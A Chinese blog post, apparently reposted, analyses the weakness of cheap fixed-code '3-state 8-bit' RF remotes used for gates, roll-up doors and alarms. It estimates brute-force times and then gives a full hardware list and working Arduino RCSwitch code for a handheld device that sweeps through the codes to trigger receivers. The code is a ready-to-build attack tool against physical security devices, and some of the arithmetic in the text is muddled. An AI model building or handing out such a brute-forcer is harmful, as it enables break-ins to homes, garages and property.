无线遥控器(无线电遥控器)在我们生活中非常常见,应用于各种场景,方便着用户的使用。不过大多数还是用于安防方面的,比如: 遥控报警器、电动卷帘门、电动伸缩门、遥控电开关、无线遥控门铃……
1、无线遥控器简介
无线遥控器从安全角度看大致分为两类,一类是最普遍的固定码遥控器,特点是廉价、应用广泛、市场大、用户多;另一类是滚动码遥控器,特点是价格较贵、相对比较安全、用于汽车安全防盗等安全要求较高的地方。
固定码遥控器有很多种编码方式,国内常见的是 3 态 8 位的编码或者厂商出厂时烧录的随机码。滚动码这里不做讲解,我都还得到这类遥控器,滚动码相对来说比较安全,但也并非绝对安全,你的汽车用到就是滚动码遥控器,然而盗贼在 N 年前就能买到干扰破解你汽车防盗的设备了。
无线遥控器从信号调制方式可以大致分成 OOK 和 FSK 两种方式,当然这只是常见的,还有其他的信号调制方式。
2、三态八位遥控器
3 态 8 位遥控器是我们常见的遥控器,它属于固定码遥控器。在电瓶车防盗器、电动卷帘门、电动伸缩门、遥控电开关、无线遥控门铃这些应用中都能见到这种遥控器,因为这种遥控器很廉价。
2.1 什么是三态八位遥控器?
3 态 8 位遥控器顾名思义,它有 3 种码位状态 8 个码位。二进制是由0 和 1 组成的,所以 2 位(bit)长的二进制有 4 种可能性 00 01 10 11 , 3 态 8 位遥控器使用的是这其中的 3 种 00 01 11 这是 3 态。8 位是指有 8 个编码位,每个编码位可使用 3 态中的任意一种,所以是 2 * 8 = 16 总共 16 位(bit)长的二进制,但是常见的无线遥控器是的数据长度是 24 位(bit),因为后 8 位(bit)是定义按键值的(如果你对信号解码出来的是 25 位(bit)长,你可以除去末尾的 0 ;如果是 25 位(bit)长,末尾的是 1 这可能是你解码错了)。常见的 4 键遥控器的的每个键值都是出厂就固定了的,分别是 11000000 00110000 00001100 00000011
2.2 厂商烧录的固定码
如果你的固定码遥控器解码后的二进制中有一对 10 码(注意是一对,前一对的后 1 跟后一对的前 0 组成的 10 是不算的)这说明你的遥控器不属于 3 态 8 位遥控器,是厂商出厂时烧录的固定码,这种遥控器的后 8 位(bit)按键值也不一定是标准的 4 种可能性。
这类固定码遥控器的接收端一般都是学习行的,会有一个学习键。作用是配对新的遥控器,如果当前遥控器坏了,你可以买个同类型的遥控器,长按学习键再按遥控器,就可以学习到新遥控器的编码的信息,这样你就能继续使用了。
2.3 辨别是否是三态八位
辨别是否是 3 态 8 位遥控器最靠谱的方法就是拆开来看 PCB 板子,有 3 排 8 列焊盘的肯定是,否则就不是,使用 3 态 8 位拨码开关的也是。
2.4 三态八位遥控器编码
国内常见的编码方法都是直接焊接 PCB 上的焊盘,极少使用拨码开关,节省成本?当然你也能买到 3 态 8 位的拨码遥控器。
从上图中可以看出总共有 3 排 8 列焊盘,这也就是 3 态(上中下) 8 位的定义方式。中间的一排连接的是芯片的引脚,当芯片的一个引脚与 High 焊接上后产生的编码是 11 与 Low 焊接上后产生的编码是 00 不焊接的默认编码是 01 。
编码是成对的,遥控器上是这个编码,接收器上也得是这个编码否则是没法使用的。
3、分析安全缺陷
从上文中我们知道了遥控器的二进制编码长度是 24 位(bit),前 16 位(bit)是由 3 态 8 位编码方式定义的,后 8 位(bit)是厂商固定死的的按键值。一个遥控器上的每个按键的前 16 位(bit)都是一样的,后 8 位(bit)是不一样的,就 4 种可能性。假设如果每个按键都是没有规律的随机码,那么你想通过暴力穷举出正确的编码,你需要尝试 2 ^ 24 = 16777216 总共 16777216 种可能性。假设后 8 位(bit)是固定的 4 种可能性,前 16 位(bit)是随机的,那你只需要尝试前 16 位(bit)的所有可能性在拼接上后 8 位(bit)的固定值,你需要尝试 2 ^ 16 = 65536 4 ^ 8 = 65536 每个按键总共 65536 种可能性。由于 3 态 8 位里是没有 10 码的,所有你需要尝试的次数是 3 ^ 8 = 6561 每个按键总共 6561 种可能性。
知道了暴力穷举攻击需要尝试的次数后我们再来算一下需要的时间,我对一个普通的遥控器做信号发送的采集,10 秒钟时间内我在接收端收到一百零几次遥控信号,也就是说一分钟至少可以发送(尝试) 600 个可能性。尝试 24 位(bit)长度的所有组合所需的时间是 16777216 / 600 = 27962 27962 分钟左右,大概 20 天不到。尝试 16 位(bit)长度一个按键的所有组合所需的时间是 65536 / 600 = 109 109 分钟左右,大概一个多小时。尝试 3 态 8 位一个按键的所有组合所需的时间是 6561 / 600 = 11 大概 11 分钟左右!!
那么 Samy Kamkar 在 8 秒内打开车库门的 OpenSesame 项目是怎么做到的?首先 Samy Kamkar 的那个车库门的遥控器并非是 3 态 8 位的,编码长度好像只有 12 位(bit), 2 ^ 12 = 4096 总共 4096 种组合。最关键是遥控设备的接收端使用的是移位寄存器,所以使用 De Bruijn 序列 即可在非常短的时间内完成所有可能性的尝试。
但我们常见的 3 态 8 位遥控设备的接收端用得并非是移位寄存器,所以没法使用De Bruijn序列实现暴力穷举攻击。检测接收端是否使用了移位寄存器的一个方法是在正确的编码前加个 0 。如果使用了移位寄存器,那么会跳过错误的一个位(bit)检查下一个正确的,并给予响应。如果没使用移位寄存器,那么什么反应都没有,因为你发送的这个编码是错误的。
4、制作 Hacking 硬件
从上面理论分析中我们知道了这种遥控设备所存在的其中一个缺陷,要尝试利用这个缺陷实现对设备的攻击方法不止一种。你可以抱着你的笔记本和 SDR 设备去攻击它,或者我们尝试制作自己的便捷式硬件来利用这个缺陷实现对设备的攻击。
这个我们使用 Arduino 和 RF 模块实现攻击功能。使用 Arduino 是因为廉价、易上手,当然你有能力的话也可以使用其他单片机去实现,或者自己设计电路,使用更好的 CC1111 芯片去实现 RF 功能。
4.1 硬件列表
Arduino Pro Micro
315 MHz或433 MHz 无线模块
轻触按钮
10K电阻
面包板
面包板跳线
4.2 硬件连接方式
4.3 功能代码
/* Brute Force Attack 4 ^ 8 Remote Control https://github.com/ZMOM1031/bruteforce3-8remote */ #include <stdio.h> #include <RCSwitch.h> RCSwitch mySwitch = RCSwitch(); // 定义 4 个按键针脚 const int button_a = 10; const int button_b = 16; const int button_c = 14; const int button_d = 15; int butStatA = 0; int butStatB = 0; int butStatC = 0; int butStatD = 0; int dfa = 256; void setup() { Serial.begin(9600); mySwitch.enableTransmit(9); // 定义发送模块的数据传输针脚 mySwitch.setPulseLength(170); // 定义脉冲长度,这个值具体看你使用的遥控器而定 pinMode(button_a, INPUT); pinMode(button_b, INPUT); pinMode(button_c, INPUT); pinMode(button_d, INPUT); } void loop() { // read the state of the pushbutton value: butStatA = digitalRead(button_a); butStatB = digitalRead(button_b); butStatC = digitalRead(button_c); butStatD = digitalRead(button_d); // Button A if (butStatA == HIGH) { // check if the pushbutton is pressed. for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(192); mySwitch.send(key, 24); } } // Button B if (butStatB == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(48); mySwitch.send(key, 24); } } // Button C if (butStatC == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(12); mySwitch.send(key, 24); } } // Button D if (butStatD == HIGH) { for (long i = 0; i < 65535; i++ ){ long key = long(i * dfa) + int(3); mySwitch.send(key, 24); } } }
注:这段代码实现的是发送 4 ^ 8 的所有可能性。
生成 3 ^ 8 的所有可能性的算法我还没实现,暂时也没时间去继续研究如何实现了,过完年得去找工作了。
5、总结
在实际测试中暴力穷举攻击确实是有效的,但由于时间匆忙,硬件设计和代码都不是最优化的,所攻击的速度还是差了点。如果你使用的是这种类型的遥控设备也不用担心会这么样。
bruteforce3-8remote 这个项目后续还会更新,争取达到最高的可用度,还会再加一些功能。目前我得先去忙着找工作,才是正事。未来还会研究一些其他的硬件安全的破解/逆向项目的。
原文地址:https://blog.iternull.com/posts/2017/02/04/Use-Arduino-brute-force-to-attack-remote-control.html